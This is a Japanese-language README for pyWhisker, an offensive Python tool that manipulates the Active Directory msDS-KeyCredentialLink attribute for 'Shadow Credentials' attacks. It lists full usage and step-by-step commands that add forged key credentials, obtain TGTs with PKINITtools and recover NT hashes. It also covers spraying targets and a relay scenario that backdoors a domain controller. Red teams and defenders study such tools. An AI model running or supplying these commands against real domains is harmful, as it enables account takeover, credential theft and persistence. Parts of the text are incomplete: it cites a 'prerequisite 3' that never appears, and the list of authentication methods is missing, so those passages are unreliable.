
C# ツールの Python 版:'Shadow Credentials' 攻撃用
pyWhiskerは、Elad Shamir によって作成され、C# で記述された元の Whisker の Python 版です。このツールを使用すると、対象ユーザー/コンピューターの msDS-KeyCredentialLink 属性を操作し、そのオブジェクトを完全に制御できます。
これは Impacket と、Michael Grafnetter 氏の DSInternals の Python 版である podalirius 氏作成の PyDSInternals に基づいています。
このツールは、Dirk-jan 氏の PKINITtools と組み合わせることで、UNIX ベースのシステムのみで完全なプリミティブ悪用を可能にします。
この攻撃の前提条件は以下の通りです。
msDs-KeyCredentialLink 属性を書き込めるアカウントを制御していること。なぜこれらの前提条件が必要か?
AS_REQ <-> AS_REP トランザクション中のセッションキー交換のために、DC が独自の証明書とキーを必要とするためです。前提条件 3 を満たさない場合、KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP が発生します。
この「シャドウ資格情報」プリミティブの詳細については、以下を参照してください。
pyWhisker は、対象の msDs-KeyCredentialLink 属性に対してさまざまな操作を実行できます。
msDs-KeyCredentialLink に新しい KeyCredential を追加します。msDs-KeyCredentialLink に新しい KeyCredential をスプレー (一括追加) します。msDs-KeyCredentialLink から KeyCredential を削除します。msDs-KeyCredentialLink からすべての KeyCredential を削除します。msDs-KeyCredentialLink からすべての KeyCredential を JSON としてエクスポートします。msDs-KeyCredentialLink を上書きします。pyWhisker は以下の認証方式をサポートしています。
その他、pyWhisker はマルチレベルの冗長性をサポートしており、コマンドに -v、-vv などを追加するだけです :)
pyWhisker はクロスドメインも可能です。-td/--target-domain 引数を参照してください。
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
[--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
[-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]
Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.
optional arguments:
-h, --help このヘルプメッセージを表示して終了します。
-t TARGET_SAMNAME, --target TARGET_SAMNAME
対象アカウント
-tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
対象アカウント名のファイルパス (1行に1アカウント)
-a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
msDS-KeyCredentialLink に対して実行するアクション
--use-ldaps LDAP の代わりに LDAPS を使用します。
--use-schannel 証明書ベースの認証に LDAP Schannel (TLS) を使用します。
-v, --verbose 冗長レベル (-v で verbose、-vv で debug)
-q, --quiet 情報を一切表示しません。
認証と接続:
--dc-ip ip address ドメインコントローラーまたは KDC (Key Distribution Center) の IP アドレス (Kerberos 用)。省略した場合、ID パラメータで指定されたドメイン部分 (FQDN) を使用します。
-d DOMAIN, --domain DOMAIN
認証先ドメイン (FQDN)
-u USER, --user USER 認証に使用するユーザー
-crt, --certfile CERTFILE
Schannel 認証用のユーザー証明書 (PEM 形式) へのパス
-key, --keyfile KEYFILE
Schannel 認証用のユーザー秘密鍵 (PEM 形式) へのパス
-td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
対象ドメイン (認証ユーザーのドメインと異なる場合)
--no-pass パスワードを要求しません (-k と組み合わせて使用)。
-p PASSWORD, --password PASSWORD
認証に使用するパスワード
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
NT/LM ハッシュ。形式は LMhash:NThash
--aes-key hex key Kerberos 認証に使用する AES キー (128 または 256 ビット)
-k, --kerberos Kerberos 認証を使用します。.ccache ファイル (KRB5CCNAME) から対象パラメータに基づいて資格情報を取得します。有効な資格情報が見つからない場合は、コマンドラインで指定された資格情報を使用します。
-action を add に設定した場合の引数:
-P PFX_PASSWORD, --pfx-password PFX_PASSWORD
PFX に保存された自己署名証明書のパスワード (設定しない場合はランダムになります。PEM にエクスポートする場合は不要)。
-f FILENAME, --filename FILENAME
生成された自己署名 PEM または PFX 証明書とキーを保存するファイル名、または "import"/"export" アクション用のファイル名
-e {PEM,PFX}, --export {PEM,PFX}
証明書+秘密鍵を PEM または PFX (すなわち PKCS12) でエクスポートするか選択します (デフォルト: PFX)
-action を remove に設定した場合の引数:
-D DEVICE_ID, --device-id DEVICE_ID
-action を remove に設定した場合に削除する KeyCredentialLink のデバイス ID
以下は、pyWhisker で可能なことの例とスクリーンショットです。
pyWhisker は既存の KeyCredential を一覧表示できます。さらに、構造全体を展開して、そのオブジェクトに含まれるすべての情報 (RSA 公開鍵パラメータを含む) を表示できます。
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

pyWhisker は特定の値を削除したり、属性全体をクリアしたりできます。
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

pyWhisker は RSA キー、X509 証明書、KeyCredential 構造体を生成し、必要な情報を msDs-KeyCredentialLink 属性の新しい値として書き込むことができます。証明書は PFX 形式 (PKCS12、証明書 + 秘密鍵、パスワード保護) または PEM 形式 (PEM 証明書、PEM 秘密鍵、パスワード不要) でエクスポートできます。
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

pyWhisker によって値が生成され追加されると、gettgtpkinit.py で TGT を要求できます。その後、getnthash.py で NT ハッシュを復元できます。
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

pyWhisker によって値が生成され追加されると、gettgtpkinit.py で TGT を要求できます。その後、getnthash.py で NT ハッシュを復元できます。
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

pyWhisker は複数の KeyCredential 追加を連鎖させ、対象セットに対して (使用する資格情報に適切な権限がある場合) スプレーすることができます。
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"
msDs-KeyCredentialLink 属性に保存された KeyCredential は、解析、構造化され、JSON として保存できます。

JSON エクスポートは、エクスポート時の状態に msDs-KeyCredentialLink 属性を復元するために使用できます。

Pull Request が ntlmrelayx にマージされ、pyWhisker の「追加」機能が組み込まれました。

ユーザーオブジェクトは自身の msDS-KeyCredentialLink 属性を編集できません。ただし、コンピューターオブジェクトは編集できます。つまり、以下のシナリオが可能です。DC01 から NTLM 認証をトリガーし、それを DC02 にリレーし、pyWhisker に DC01 の属性を編集させ、その上に Kerberos PKINIT 事前認証バックドアを作成します。

コンピューターオブジェクトは自身の msDS-KeyCredentialLink 属性を編集できますが、既存の KeyCredential がない場合にのみ KeyCredential を追加できます。

エラーが発生した場合、攻撃ホストとキー配布センター (通常はドメインコントローラー) の間に時刻のずれがないことを確認してください。このエラーを回避するため、pyWhisker ツールで生成される証明書は、現在日付の 40 年前から 40 年後まで有効です。
Dirk-jan 氏の PKINITtools への貢献に感謝します。当初は Impacket スクリプト (特に gettgt.py) をリファクタリングして、Kerberos 用の非対称 PKINIT 事前認証を実装する予定でした。彼が先に作成してくれたおかげで、多大な頭痛の種から救われました。
Impacket チーム全体とその貢献者に感謝します。
元の C# ツール (Whisker) を作成した Elad Shamir 氏と、Whisker の主要な処理を行うライブラリ DSInternals を作成した Michael Grafnetter's 氏に感謝します。彼はまた、攻撃プリミティブを紹介した元の Black Hat デモを行った人物でもあります。